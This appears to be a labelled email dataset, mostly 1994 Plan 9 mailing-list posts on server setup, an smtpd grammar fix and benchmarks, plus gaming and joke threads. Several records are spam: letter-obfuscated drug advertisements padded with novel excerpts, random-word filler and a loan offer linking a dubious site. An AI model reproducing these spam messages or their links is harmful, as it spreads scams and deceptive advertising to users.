airdrop denote lombard ",1,1 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Wed, 11 May 1994 14:34:49 -0400",,">>Plan 9 on intel. Can you set up an auth server, file server using intel? >>Last I heard, there was support only for the mips/sparc machines as >>fileservers. it isn't on the CDROM, but given /sys/src/9/pc and a little background knowledge, producing /sys/src/fs/pc wasn't too hard. producing 9pccpu (CPU server configuration) is even easier. any cpu server can be used as an authentication server, so that's that! (thanks to the Labs we are back in the `use the source' era!) a 486dx2/66 seems quite a bit faster than a Sparc Classic; i use a dx2/66 as a CPU server, and even with a 24Mb classic as a terminal i tended to do (cross)compilations on the 486. i use a very lowly 16Mb 486sx33 as a file server (it doesn't use floating point). it's adequate for a small number of users (certainly not the bottleneck at present). >>The problem with PCs is that if users have them on their desks, most of them >>want/demand Windows. i was expecting that many people here would replace old Suns by PCs to run Windows, because they don't program much (or they like Visual Basic), so the intention wasn't to preclude that, BUT for those who preferred a Unix environment i thought it might be nice to consider more interesting hardware than Sun provides. of course, the PC configuration will be chosen to allow people to run Linux, Amoeba and of course Plan 9 if that takes their fancy. as cs.wisc.edu!bob observed, the faster Intel and non-Intel clones are competitive in performance and usually much cheaper than equivalent RISC machines: >>I highly recommend the new Pentium machines. For under $US4k you >>can get a machine that is very powerful (~40mips, 32Meg mem, 540M disk). it's also nice on the PC to be able to plug in a wide range of cheap special-purpose cards (although register-level programming information isn't always available). furthermore, most fast PCs come with a reasonable amount of fast second-level cache, which can make a difference. even so, i don't think the 386/486 architecture has got enough truly general purpose registers for some things i'd like to do (not really enough for basic bitblt, come to that). the 64k banking of most non-PCI graphics cards is also a disincentive, and makes graphics implementation harder and slower. on a more personal level, i get dizzy every time i get near the register level programming of SVGA. 90 and 100Mhz Pentium machines, especially with PCI, should make very good, cheap file and CPU servers. there are even multi-processor variants. in those applications weak graphics performance matters not a bit. unless you are considering graphics or multimedia work (both of which interest me a bit) and possibly floating-point intensive work (traditionally a weak area for Intel machines), the underlying awfulness of the Intel architecture doesn't appear at all with either Plan 9 (or Linux, come to that), and with those exceptions i'd certainly consider a fast PC as a Plan 9 terminal. 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",1,0 forsyth@plan9.cs.york.ac.uk,9fans@cse.psu.edu,"Fri, 27 May 1994 08:25:00 -0400",minor change to smtpd.y (and yesterday),"yesterday i couldn't receive mail from 3mail.3com.com, since smtpd rejected the `mail from:' as having a syntax error. the grammar in /sys/src/cmd/upas/smtp/smtpd.y is taken directly from RFC 821, but (it turns out) RFC 1123 section 2.1 makes a blanket change to all applications regarding host name formats, thus requiring a change to the rfc821 grammar (but without specifying the change). here are some diffs; the line numbers might not agree -- i haven't got the CDROM online at the moment. cpu% diff `{yesterday -940501 smtpd.y} . 90,92c90,91 < name : a ={ $$ = cat(&$1, 0, 0, 0, 0 ,0, 0); } < | a ld-str ={ $$ = cat(&$1, &$2, 0, 0, 0 ,0, 0); } < | a ldh-str ld-str ={ $$ = cat(&$1, &$2, &$3, 0, 0 ,0, 0); } --- > name : ld-str ={ $$ = cat(&$1, 0, 0, 0, 0 ,0, 0); } > | let-dig ldh-str ld-str ={ $$ = cat(&$1, &$2, &$3, 0, 0 ,0, 0); } when first doing that diff, i discovered that several of the diagnostics in /rc/bin/yesterday are not sent to the standard error; here are the diffs for that: term% diff `{yesterday /rc/bin/yesterday} . 76c76 < 'is not a backup day' --- > 'is not a backup day' >[1=2] 82c82 < echo 'yesterday: can''t find directory' --- > echo 'yesterday: can''t find directory' >[1=2]",0,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Fri, 27 May 1994 09:15:01 -0400",fileserver performance [small benchmark results],"Some time ago, I asked: > Has anyone benchmarked a Plan 9 file server vs. a u9fs file server? > If so, how do they compare? I only had 2 machines, and I couldn't decide whether to sacrifice a cpu server or file server for my setup (I knew I wanted a terminal). I didn't get any replies, so I thought I'd do some small benchmarks to see for myself. I did 2 tests, for the first one I copied /lib/image/* to /tmp, for the second, I cat'ed all the images to /dev/null. For all tests, /tmp was not ramfs, it was ~/tmp (same disk as /lib/image). For the u9fs tests, the file server was an SGI INDY running IRIX 5.2, serving a Seagate ST3610N to a MIPS Magnum 3000 plan 9 terminal. For the plan 9 file server tests, the file server was a MIPS Magnum 3000, with a Seagate ST11200N disk (same Magnum 3000 terminal). For each test, I repeated it 4 times, and used SGI's NetVisualizer to see how busy the ethernet was during the test (LAN was otherwise idle). bench u9fs: cd /lib/image; time cp * /tmp 0.00u 3.70s 19.04r cp dna.3c mandrill.3c swan.3 table.3c ... 0.02u 3.70s 20.52r cp dna.3c mandrill.3c swan.3 table.3c ... 0.04u 4.30s 20.20r cp dna.3c mandrill.3c swan.3 table.3c ... 0.00u 4.64s 19.78r cp dna.3c mandrill.3c swan.3 table.3c ... (using 30% of ethernet bandwidth) cd /lib/image; time cat * > /dev/null 0.00u 0.42s 4.54r cat dna.3c mandrill.3c swan.3 table.3c ... 0.00u 0.32s 4.76r cat dna.3c mandrill.3c swan.3 table.3c ... 0.02u 0.30s 4.56r cat dna.3c mandrill.3c swan.3 table.3c ... 0.02u 0.32s 4.54r cat dna.3c mandrill.3c swan.3 table.3c ... (using 80% of ethernet bandwidth) bench plan 9 file server: cd /lib/image; time cp * /tmp 0.02u 3.12s 8.00r cp dna.3c mandrill.3c swan.3 table.3c ... 0.02u 3.14s 7.88r cp dna.3c mandrill.3c swan.3 table.3c ... 0.00u 3.18s 7.78r cp dna.3c mandrill.3c swan.3 table.3c ... 0.02u 3.10s 8.14r cp dna.3c mandrill.3c swan.3 table.3c ... (using 45% of ethernet bandwidth) cd /lib/image; time cat * > /dev/null 0.02u 0.56s 4.04r cat dna.3c mandrill.3c swan.3 table.3c ... 0.00u 0.72s 4.06r cat dna.3c mandrill.3c swan.3 table.3c ... 0.00u 0.70s 4.10r cat dna.3c mandrill.3c swan.3 table.3c ... 0.00u 0.68s 4.02r cat dna.3c mandrill.3c swan.3 table.3c ... (using 40% of ethernet bandwidth) So, it seems that for the first test (reading & writing to the same disk at the same time) u9fs took 2.5 times as long as a real Plan 9 file server. Since the ethernet utilization was not 2.5 times greater, that should be an indication of the efficiency of il vs. tcp. For the second test, the times were closer together, but I'm not sure why. Maybe the main problem with u9fs is when writing, so in the read-only test it does much better. Again, we see that u9fs/tcp gobbles up the network (80%). I was surprised that I didn't notice any caching effects. The times were the same for a newly rebooted system as for re-running the benchmarks over and over again right away. Overall, it seems like the performance penalty of using u9fs isn't that bad unless you do a lot of concurrent reading & writing. Any other opinions or explanations? Steve ps. Should I be using 'disc' instead of 'disk', as in the Plan 9 papers? ",0,0 Isma Howse ,veronica@groucho.cse.psu.edu,"Sat, 28 May 1994 07:33:13 -0700",Re: good CtALllS,"Hi, X s A p N l A x X z V j A v L i I t U x M p C q I t A n L s I k S k V g I z A z G o R f A m http://www.loraoprin.com highwayma iteranc custome congratulat severanc The van swept past the first two buildings, then suddenly swerved into the curb and stopped in front of the last structure, nearly two hundred feet from the storefront, the building farthest from the Jackals telephone. The instant the vehicle came to a halt the rear door opened and four men jumped out, automatic weapons in their hands, two running to the street side, one racing down the pavement to the front, ",1,1 Ingrid Polk ,sasha@groucho.cse.psu.edu,"Wed, 01 Jun 1994 12:51:17 +0900",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"jock seamen petrify rape chickadee diffuse burmese crank antipodes signature congest genial unite snub galactic misshapen memory bundestag session climb cogent jorgenson ",1,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Tue, 31 May 1994 16:34:45 -0400",setting up a cpu server,"I have 2 Magnums, one is a terminal, the other is a cpu server. Both use u9fs as their file server. When I try to telnet into the cpu server, the connection closes right away. I get the following message in /sys/log/listen: plan9: May 31 12:28:20: bootes: aux/listen: tcp call for tcp23 on chan /net/tcp/3 Other tcp services don't work either (similar messages in logfile). When I try to use the 'cpu' command on the terminal, it prints: cpu: can't read server challenge: plan9: file does not exist And I see the following message in /sys/log/listen: plan9: May 31 12:28:47: bootes: aux/listen: il call for il17005 on chan /net/il/2 UDP services such as bootp and tftp seem to work fine, as I can boot the terminal from the cpu server. How can I get cpu & TCP services to work? Steve ",0,0 serge@euler.berkeley.edu,9fans@cse.psu.edu,"Fri, 03 Jun 1994 18:13:43 -0400",Programmability,"Just out of curiosity, would anyone happen to know why programmability was considered useful for a debugger (acid), but wasn't for an editor (sam)? Perhaps if I could impose on the authors to comment on this? (I'm not trying to start a flame war or anything of the sort, I would simply like a better understanding of the issues at hand.) Thank you very much. ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cse.psu.edu,"Fri, 03 Jun 1994 19:26:54 -0400",cpu command,">> | When I try to use the 'cpu' command on the terminal, it prints: >> | >> | cpu: can't read server challenge: plan9: file does not exist >> >> I haven't gotten this to work either, I have to admit. >> I was secretly hoping it would be fixed in the next release, >> assuming there is one. :-) i've got lots of them, so i must be doing something right! i think the following is true (and it works for me). generally, after following the installation notes, i think i just read the manual pages it refers to very carefully, and pondered the examples on the CDROM. i found it was easy at first to miss out a step, though, and even now i'll sometimes forget to add a new cpu server to the key file when first configuring it. also, until i understood the defaulting scheme in /lib/ndb/local, i sometimes forgot to add the auth= and proto= entries. in the following, i try to point out some pitfalls. i advise you to read the discussion near the end of the installation document and appropriate manual pages once more, since i can't guarantee to give a step-by-step description. it really does all work as documented, though. see the descriptions auth(8), cs(8), ndb(8), cpurc(8), listen(8), keyfs(4), ndb(6), listed here in no particular order. first, set up an authentication server. there must be an authentication key for each host that acts as a server. one of your cpu servers must act as an authentication server. an authentication server runs auth/keyfs in /bin/cpurc. in the following example, the key lines in a typical machine's entry in cpurc are marked: switch($sysname) { ... case mycpusysname 1.2.3.4 sysname=mycpusysname # ... set up devices here auth/keyfs -m/mnt/keys /adm/keys # <- start the keyfs auth/keyfs -m/mnt/netkeys /adm/netkeys # <- same for net keys # the next few lines are not specific to authentication servers ip/ipconfig ip/rarpd & # only needed if you have suns to boot ip/tftpd -d & ip/bootp ndb/dns -s # these are: # the -t /bin/service.auth in the following are needed for auth to work aux/listen -t /bin/service.auth -d /bin/service dk # <- use this only if you have Datakit! aux/listen -t /bin/service.auth -d /bin/service il # <- required # there are no authentication services on tcp/ip unless you use matty's 9x # or implement other services of your own! aux/listen tcp # <- required if you use tcp/ip each aux/listen does an announce for the specified protocol; that is, listens on dk!*!*, il!*!*, and tcp!*!* for incoming calls. the pattern is net!host!port where * matches all. the `musca' sample in the CDROM /bin/cpurc created a second il listener at this point: aux/listen il i did not copy this. it seemed likely to announce a second il!*!* (if the kernel accepted it) BUT this process, without the -t option, will not successfully handle incoming calls to the auth services. it seemed either wrong or redundant, so i did not copy it, and things have gone smoothly. i think this is the only difference in my procedure compared to what's on the CDROM. your cpu server should now be configured in /bin/cpurc as an authentication server. next, add keys for any hosts that need them -- including the cpu server itself. auth/keyfs must be running for you to do this: i usually just restart the machine to run /bin/cpurc, but you can probably just invoke the command on the console (as is done during the bootstrap procedure): auth/keyfs use `auth/adduser -hp host-name' on the console of the authentication server to add a `host' entry for each `host-name'. use your machine password as chosen during the installation. terminals do NOT need host entries. if you don't include key entries for your cpu servers, or keyfs isn't runing, and you try a cpu command on a terminal, you probably do get the following message: >> | cpu: can't read server challenge: plan9: file does not exist if your root comes from a plan 9 file server that does its own authentication (a common case), you will need to `auth' on the file server's console after adding new keys. a root taken from u9fs will not care -- it doesn't use the keys -- BUT u9fs had better accept attach messages from `none' (and probably `bootes' when acting as a root server -- but i've not tried that configuration). you can add `none' to the unix password file as a user who cannot log in, and has few file permissions -- perhaps a synonym for `nobody'. otherwise, you won't be able to run untrusted listener services: the listener creates a new name space by attaching to #s/boot as ""none"", and u9fs will reject such an attach without a corresponding entry in the unix password file. a final point: also ensure you have the right entries in the /lib/ndb/local database. i believe you need an appropriate `auth=' entry corresponding to the sys= entry in /lib/ndb/global for both the cpu server and your terminal(s). programs that need authentication services won't know where to look otherwise. there is a way of making a default apply to all machines on a network or subnetwork, but you can skip that for now. ndb(6) describes the defaulting: see the discussion of meta-addresses of the form $attribute. it's very nice. callers to authentication services call net!$auth!servicename (eg, net!$auth!rexauth), and ndb/cs searches up the network tree to find the auth= entry nearest the resolving host. note that the cpu server that is acting as authentication server must have $auth resolve to itself. as i said, the quickest way to get things running on a small plan 9 network is just to make explicit entries and generalise the /lib/ndb/local file later when you understand how the $attribute search works. you'll need something like this: sys = mycpu ... networking info. auth=mycpu # <- important bit: mycpu does its own authentication proto=il # <- tells ndb/cs that this machine can use IL/IP on which auth depends sys = myterm ... networking info. auth=mycpu # <- important bit: use mycpu for authentication proto=il # <- tells ndb/cs that this machine can use IL/IP on which auth depends with any luck, you might get your cpu servers working now!",0,0 Valerie V Weigel ,jeremy@groucho.cse.psu.edu,"Fri, 10 Jun 1994 11:49:12 +0800",we can actually help,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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We can help. http://gilope.fypabe.nphhu.com/approved/ hanab pyhotihixudedop ",1,1 Steve Kotsopoulos ,9fans@cse.psu.edu,"Mon, 13 Jun 1994 23:30:18 -0400",summary of Plan 9 BOF (birds of a feather session),"I scheduled a Plan 9 BOF at the Usenix conference last week. About 40 people attended, but only a few had Plan 9. Many of the others were either from commercial organizations (and wish they could get it), or from universities without licences. We were pleased that Rob Pike and Dennis Ritchie were able to attend. I started the BOF by telling people how they could obtain licences, and pointed them to the ftp archive on research.att.com for more information. I also said that I was thinking of setting up my own ftp server, to collect sources from the user community. I feel there may be some users out there who have written software, but haven't made it available to others because they don't have an anonymous ftp server. If anyone has something they would like to make available to all the other Plan 9 licencees, please send me mail. I'll post a notice to this list once the ftp service is online. After the preliminary remarks, Rob Pike was kind enough to answer a wide variety of questions. I'll summarize what I remember: A new Plan 9 distribution will be worked on this summer, but it is unclear if it will be distributed. Please don't deluge the developers for more information regarding the licencing and release details. It will have acme and a fax service, and updated versions of alef, acid & authenticaion services. The PC kernel now supports sound boards. The default porting base will be for PC's instead of Sparcs and Magnums. If legal details can be worked out, the Plan 9 developers hope that this CD will also be released publicly, so that anyone can buy it (again, this is what they HOPE ... no promises). Brazil is their current research project. It looks like Plan 9 on the outside, but there have been many internal changes. Most importantly, the kernel data paths have been shortened to improve throughput. Rob re-wrote the window system for Brazil in alef (in 4 days). Someone asked ""why do we need another new language [alef]?"" Rob explained that alef is a concurrent object-oriented language, and this makes it much easier to write some kinds of programs. Two examples were given. The fax package has a coroutine that loads the next page of fax while you are reading the current page. This was relatively easy to add in with alef. Also, for programs like the window system, which manage several different input and output devices, alef makes the program smaller and easier to write (once you've mastered concurrent programming). A new audio compression algorithm has been developed by the acoustics researchers at Bell Labs. It gives 13:1 compression (mpeg gives 4:1). A new network has been developed by Phil Winterbottom. It is called Planet (built with PLA's), and can handle 300Mb/s. Many of the questions had to do with licencing ... I don't recall any details other than what I have already written. For more information: ftp research.att.com:/dist/plan9doc Plan 9: The Early Papers ftp research.att.com:/dist/plan9man manuals & licencing information ftp nine.ecf.toronto.edu:/pub/plan9 user community ftp site - soon mail 9fans-owner@cse.psu.edu to subscribe to mailing list -- Steve ",0,0 rob@plan9.research.att.com,9fans@cse.psu.edu,"Tue, 14 Jun 1994 15:47:20 -0400",,"salus got the story just wrong. he appears to have conflated the sale of USL to Novell with rumblings about a general release of plan 9. the book perpetuates the error, but he has promised to correct the mistake in the next printing. ",0,0 Karan Ulmer ,elva@groucho.cse.psu.edu,"Thu, 23 Jun 1994 16:23:47 -0700",Re: VAkLtUM new,"Hi V t I f A b G q R j A i C g I n A f L a I q S a X i A h N q A w X v V r A g L s I o U r M r http://www.kalahbon.com ironwork tren deaden constrictio skippin Forget it, he said. Im the last person he wants to talk to. Hes back there, Mo. Hes not David any longer. He has a different calling now, added Panov softly. David cant handle it. I think thats the most frightening thing Ive ever heard you say. The psychiatrist nodded. It may well be. ",1,1 Steve Kotsopoulos ,9fans@cse.psu.edu,"Sat, 25 Jun 1994 18:08:24 -0400",announcing Plan 9 software archive at nine.ecf.toronto.edu:/pub/plan9,"Here's the README file: README for Plan 9 ftp archive at nine.ecf.toronto.edu:/pub/plan9 This ftp archive is a repository of software and documentation created by the Plan 9 user community. Right now, it contains the following directories: forsyth - is a mirror of ftp.cs.york.ac.uk:/pub/plan9 it includes an Ident (RFC1413) service, routed (RIP listener), and 2 PC scsi drivers. queries to forsyth@minster.york.ac.uk matty - is a mirror of ftp.cs.su.oz.au:/matty/unicode it includes 9term, libXg (with Unicode support) and the sam editor. queries to Matty Farrow steve - has some small scripts I wrote it includes uptime and tcp79 (finger service) queries to Steve Kotsopoulos An archive of the 9fans mailing list is available via anonymous ftp from ftp.cse.psu.edu:/pub/plan9-fans/9fans.93-94 mail 9fans-owner@cse.psu.edu to subscribe to the list The Plan 9 developers at Bell Labs have the following ftp archives: research.att.com:/dist/plan9doc Plan 9: The Early Papers research.att.com:/dist/plan9man manuals & licencing information If you have something useful, but you don't have an anonymous ftp server, I can make it available here. I will also mirror any remote sites that have useful stuff (should be better for some people than crossing the oceans to the UK or Australia). Just send me mail if you would like to submit anything. -- Steve - Jun 25, 1994",0,0 ulrich.kriegel@isst.fhg.de,"liebig@faw.uni-ulm.de, attardi@ICSI.Berkeley.EDU, AI.Repository@cs.cmu.edu","Wed, 20 Jul 1994 08:57:27 +0100","New release of Eu2C, an EuLisp-> Compiler","Now we announce the release 94-07 of Eu2C, our EuLisp to C compiler. What's new in eu2c-94-07 ======================== 1. New installation procedure relying on unix make. 2. Support of two compilation strategies: - total compilation of an application including all the runtime modules - total compilation of an application using a precompiled runtime system, eg. eulisp-level-0. The former produces very efficient code but the compilation is very cpu- intensive. The code produced by the second variant is a little bit less efficient since optimization across the interface between application an runtime system is not possible, but due to the precompiled runtime-system the compilation process is much faster. 3. Threads are now supported. Where to get eu2c-94-07? ======================== The sources and installation hints are located at ftp.isst.fhg.de in directory APPLY/Distribution eu2c-94-07.tar.gz - sources README.Eu2C_94-07 - installation guide. Please, send any suggestions or remarks to ulrich.kriegel@isst.fhg.de, but take into account that responses coud be delayed due to vacation. -ulrich --------------------------------------------------------- Dr. E.Ulrich Kriegel, ulrich.kriegel@isst.fhg.de, (++49 30) 20372-346 (X.400: G=ulrich;S=kriegel;O=ISST;P=FHG;A=D400;C=de ), Fraunhofer Institute for Software Engineering and Systems Engineering (FhG ISST), Kurstrasse 33, D-10117 Berlin, FRG,fax:(++49 30) 20372-207 ====================================================================== ",0,0 Michael Paul Johnson ,Bergeron_Louis/UQAT@PANORAMIX.UQSS.UQuebec.CA,"Mon, 08 Aug 1994 11:31:04 -0700",Re: Where to get the latest PGP FAQ,"....................................................................... The following FAQ is kept at ftp://ftp.csn.net/mpj/getpgp.asc and at ftp://ftp.netcom.com/pub/mpj/getpgp.asc -----BEGIN PGP SIGNED MESSAGE----- WHERE TO GET THE PRETTY GOOD PRIVACY PROGRAM (PGP) (Last modified: 13 June 1994 by Mike Johnson) WHAT IS THE LATEST VERSION? ",0,0 Linda Lilburne ,mkant@cs.cmu.edu,"Fri, 26 Aug 1994 13:09:00 +1300",Re: gis/es -Reply -Reply,"OK - here's the list attached Linda",0,0 michael@pacifier.com,"johne@pacifier.com, pluther@cs.pdx.edu, Young_Andy/HP-Vancouver_om1@openmail.vcd.hp.com, topherf@pacifier.com, canning@nowmail.nowsoft.com, bellocq@teleport.com, TROW_STEPHEN/Non-HP-Vancouver_om1@openmail.vcd.hp.com","Wed, 28 Sep 1994 22:07:00 -0700",Results of self-stabbing fighter,"Here they are... From: michael@pacifier.com (Michael Smith) Newsgroups: rec.games.frp.dnd Subject: A question about a fighter who stabs himself Date: 6 Aug 1994 21:44:57 -0700 Keywords: tavern,fighter,dagger This situation came up at our gaming session this weekend... A fighter walks into a tavern. He is feeling randy and wants to impress the ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger and a ring of regeneration - how many rounds (on the average) would it take for him to kill himself? What if it were a vampiric ring of regeneration (we don't know if it is...) -- - \\ Estaria of Jerbiton |Visit beautiful Senex -Michael R. Smith \\ Archon of Senex Domi |Domi. Located in -michael@pacifier.com \\ |Provencal for your -Vancouver, Washington, USA \\ |studying pleasure. ======================================================================= On 6 Aug 1994 21:44:57 -0700, michael@pacifier.com writes: > >This situation came up at our gaming session this weekend... > >A fighter walks into a tavern. He is feeling randy and wants to impress the >ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter >is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger >and a ring of regeneration - how many rounds (on the average) would it take >for him to kill himself? > >What if it were a vampiric ring of regeneration (we don't know if it is...) > You can disbatch a helpless opponent in one round. If he's not resisting himself ;->, he can cut himself to ribbons in one minute/round. By the by, on any of my boards, the bar staff would likely get a touch upset with this, they'd toss the body out of sight. In the 100 minutes ( -10hp to 1hp at a rate of one hit point per 10 minute round ) it would take him to regain conscinous (<-possible spelling error alert), the local theif/theives would likely find him and steal all his pretty jewelry/coin/stuff. If it happened in the first ten minutes, he'd stay DEAD. If its a vampiric ring, since you only get back HALF of the hit points you inflict, he'd die in one round, AND STAY DEAD. DhS. ======================================================================= Michael Smith (michael@pacifier.com) wrote: : This situation came up at our gaming session this weekend... : A fighter walks into a tavern. He is feeling randy and wants to impress the : ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter : is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger : and a ring of regeneration - how many rounds (on the average) would it take : for him to kill himself? : What if it were a vampiric ring of regeneration (we don't know if it is...) Concievably this fighter could go on for a long time...after all you don't HAVE to use all of your strength to cut yourself. So if we ignore strength bonuses, a dagger has an average damage of 2.5 HP/round, and the ring can regenerate (hmm, forget is it 1 or 3 HP/round?). Anyway, you get the idea...of course if stupid accidentally pierces himself through the heart, diaphragm, throat, etc we're talking dead fighter. -- /> Andrew Fowler (Zanar on the net) Snail Mail: /< afowler@minerva.cis.yale.edu 624 Orange Street *[/////|:::==================================- Apartment 1B \\< fowler@psgi.chem.yale.edu New Haven, CT 06511 \\> Phone (IRL): 203-782-1379 ======================================================================= Hello! Michael Smith (michael@pacifier.com) wrote: > This situation came up at our gaming session this weekend... > A fighter walks into a tavern. He is feeling randy and wants to impress the > ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter > is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger > and a ring of regeneration - how many rounds (on the average) would it take > for him to kill himself? One. Stabs his dagger into his throat and is probably dead or dying. Stabbing the dagger into his heart would work as well (especially with that girdle). No, no rules for it, that I could quote -- just common sense... > What if it were a vampiric ring of regeneration (we don't know if it is...) I still believe that the massive damage by a direct strike to neck, throat, heart or something other vital would be more than enough to kill him (the ring just does not regenerate enough hitpoints). Ciao, Thomas. -- Thomas Biskup email to: biskup@saranxis.ruhr.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ""Life would be so much easier if we could just look at the source code."" ======================================================================= In article , michael@pacifier.com (Michael Smith) writes... >A fighter walks into a tavern. He is feeling randy and wants to impress the >ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter >is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger >and a ring of regeneration - how many rounds (on the average) would it take >for him to kill himself? Setting aside that fact that self-mutilation is probably a poor way to impress women, I would rule it as follows: Since hit points are are not taken to represent the sheer physical capacity to take damage (it would be absurd that a human of *any* level could take as much raw damage as a dragon), I treat the hit points possessed at first level as the raw damage potential of characters. Now, although it is possible to give a mortal stroke to an unresisting opponent, your fighter presumably does not intend to give himself a mortal wound, but to show off his raw damage potential. Hence, figure damage as normal, but take it out of the hit points he had at first level--you could figure it as doing maximum damage, but then it wouldn't have the randomness which makes it, like Russian roulette, a test of courage. ""Let's see . . . I have 10 hit points left, +7 to damage, and a dagger which does 1-4 . . . ."" In essence, if the character wants to show off, let him show off, but not without _real_ risk. Then you'll see how brave he *really* is (or how stupid, whichever). >What if it were a vampiric ring of regeneration (we don't know if it is...) Well, vampires can't suck blood from themselves . . . I'd rule that a VRofR doesn't work with respect to self-inflicted wounds. -Kressja ======================================================================= > : This situation came up at our gaming session this weekend... > > : A fighter walks into a tavern. He is feeling randy and wants to impress th > : ladies. He pulls out his dagger and stabs himself repeatedly. If the figh > : is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagg > : and a ring of regeneration - how many rounds (on the average) would it take > : for him to kill himself? > Well, if the referee handled the matter of the fighter killing himself as a 'helpless opponent', then he could kill himself in 1 melee round. Seeing that he was dead, I'd be highly surprised if the locals didn't then wander over -- removing the regen ring (when they saw he was healing) -- and loot his body. :) ------------------------------------------------------------------ Barbara Haddad - melchar@shakala.com Shakala BBS (ClanZen Radio Network) Sunnyvale, CA +1-408-734-2289 ======================================================================= In article 776233442@pacifier, michael@pacifier.com (Michael Smith) writes: >This situation came up at our gaming session this weekend... > >A fighter walks into a tavern. He is feeling randy and wants to impress the >ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter >is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger >and a ring of regeneration - how many rounds (on the average) would it take >for him to kill himself? > >What if it were a vampiric ring of regeneration (we don't know if it is...) Using his full strength, once. After 1 full attack he would be dead or dying. You see AD&D claims that hit points aren't a measure of how much damage you can sustain, but how much damage you can successfully AVOID. It claimed that people only have ABOUT 4 actual hit points and the rest are skill in avoidance, deity favor, etc. For this same reason you can KILL a sleeping person in ONE blow, no damage need be rolled they are automatically dead. It says that you can kill one person a round in this manner. So since the fighter is not avoiding the blow, one hit will make him dying or dead (use the damage roll since natural instincts might prevent the AUTOMATIC kill from happening, but don't give full hit points since he is not avoiding it (give him the standard 3-5)). As always any opinions I may have written above are mine and mine alone. Dave. ======================================================================= In article , michael@pacifier.com (Michael Smith) writes: > This situation came up at our gaming session this weekend... > > A fighter walks into a tavern. He is feeling randy and wants to impress the > ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter > is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger > and a ring of regeneration - how many rounds (on the average) would it take > for him to kill himself? > > What if it were a vampiric ring of regeneration (we don't know if it is...) > If I was a lady, I wouldn't be too impressed... ;-) rodt ======================================================================= michael@pacifier.com (Michael Smith) writes: >A fighter walks into a tavern. He is feeling randy and wants to impress the >ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter >is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger >and a ring of regeneration - how many rounds (on the average) would it take >for him to kill himself? >What if it were a vampiric ring of regeneration (we don't know if it is...) Heh... does he have to roll to hit? ...and what if he misses, what will the ladies think? :) -- __,;,/| Donovan Young \\'o.0`/ EMail: donovan@america.net =(_,_)= BBS: Cyberdyne Systems (404) 518-0157 U ======================================================================= In article michael@pacifier.com (Michael Smith) writes: >This situation came up at our gaming session this weekend... > >A fighter walks into a tavern. He is feeling randy and wants to impress the >ladies. He pulls out his dagger and stabs himself repeatedly. If the fighter I'd like to say 1st that this wouldn't impress anyone (except at how stupid it looks) >is 10th level, has a 17 CON, a girdle of fire giant strength, a normal dagger >and a ring of regeneration - how many rounds (on the average) would it take ^^^^^^^^^^^^^^^^^^^^ >for him to kill himself? He can't. A ring of regeneration will bring one back from the ""dead"" unless it was fire or acid damage that caused the wounds. Not to mention (assuming you're using the -10 rule) that the best he could hope to do is go unconcious anyway. > >What if it were a vampiric ring of regeneration (we don't know if it is...) Personally, I don't think that a ring of this type would work at all in the situation specified, so you can treat it as if he was wearing no regen stuff at all. (rough calculation says about 7 rounds) You know, I almost want to know why...but...not really. Reggie >- \\ Estaria of Jerbiton |Visit beautiful Senex >-Michael R. Smith \\ Archon of Senex Domi |Domi. Located in >-michael@pacifier.com \\ |Provencal for your >-Vancouver, Washington, USA \\ |studying pleasure.",0,0 KT607198@HOPE.CIT.HOPE.EDU,fubob@MIT.EDU,"Sun, 02 Oct 1994 22:40:24 -0500",hey," ______________________________________________ | | | | Sir Christopher of Balk | | | Jedi Knight | | | Defender of the Galaxy | | | | | \\_|_/ ""The lightsabre is a Jedi's | | { } weapon."" | | {_} ""MAY THE FORCE BE WITH YOU"" | |______________________________________________| These new viruses came off of the MSU VM/XA system. BOBBIT VIRUS: Removes a vital part of your hard disk then re- attaches it. (But that part will never work again.) OPRAH WINFREY VIRUS: Your 200 MB hard drive suddenly shrinks to 80 MB, and then slowly expands back to 200 MB. AT&T VIRUS: Every three minutes it tells you what great service you are getting. MCI VIRUS: Every three minutes it reminds you that you're paying too much for the AT&T virus. PAUL REVERE VIRUS: This revolutionary virus does not horse around. It warns you of impending hard disk attack --- once if by LAN, twice if by C:>. POLITICALLY CORRECT VIRUS: Never calls itself a ""virus"", but instead refers to itself as an ""electronic microorganism"". RIGHT TO LIFE VIRUS: Won't allow you to delete a file, regardless of how old it is. If you attempt to erase a file, it requires you to first see a counselor about possible alternatives. ROSS PEROT VIRUS: Activates every component in your system, just before the whole damn thing quits. MARIO CUOMO VIRUS: It would be a great virus, but it refuses to run. TED TURNER VIRUS: Colorizes you monochrome monitor. ARNOLD SCHWARZENEGGER VIRUS: Terminates and stays resident. It'll be back. DAN QUAYLE VIRUS: Prevents your system from spawning any child process without joining into a binary network. DAN QUAYLE VIRUS #2: Their is sumthing rong wit your komputer, ewe jsut cant figyour out watt! GOVERNMENT ECONOMIST VIRUS: Nothing works, but all your diagnostic software says everything is fine. NEW WORLD ORDER VIRUS: Probably harmless, but it makes a lot of people really mad just thinking about it. FEDERAL BUREAUCRAT VIRUS: Divides your hard disk into hundreds of little units, each of which does practically nothing, but all of which claim to be the most important part of your computer. GALLUP VIRUS: Sixty percent of the PCs infected will lose 38 percent of their data 14 percent of the time. (plus or minus a 3.5 percent margin of error.) TERRY RANDLE VIRUS: Prints ""Oh no you don't"" whenever you choose 